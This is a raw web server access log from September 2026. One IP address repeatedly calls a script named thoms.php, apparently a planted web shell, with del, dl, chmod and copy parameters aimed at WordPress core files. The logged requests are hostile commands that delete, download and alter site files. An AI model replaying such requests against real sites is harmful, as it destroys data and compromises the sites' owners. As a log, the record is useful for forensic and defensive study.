45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?dl=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22217 "https://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?del=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?del=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?dl=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?del=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?del=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?del=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-i18n.json HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22238 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?del=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?del=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?del=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22290 "https://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=css&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcanonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcanonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcanonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?del=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-diff.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?dl=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
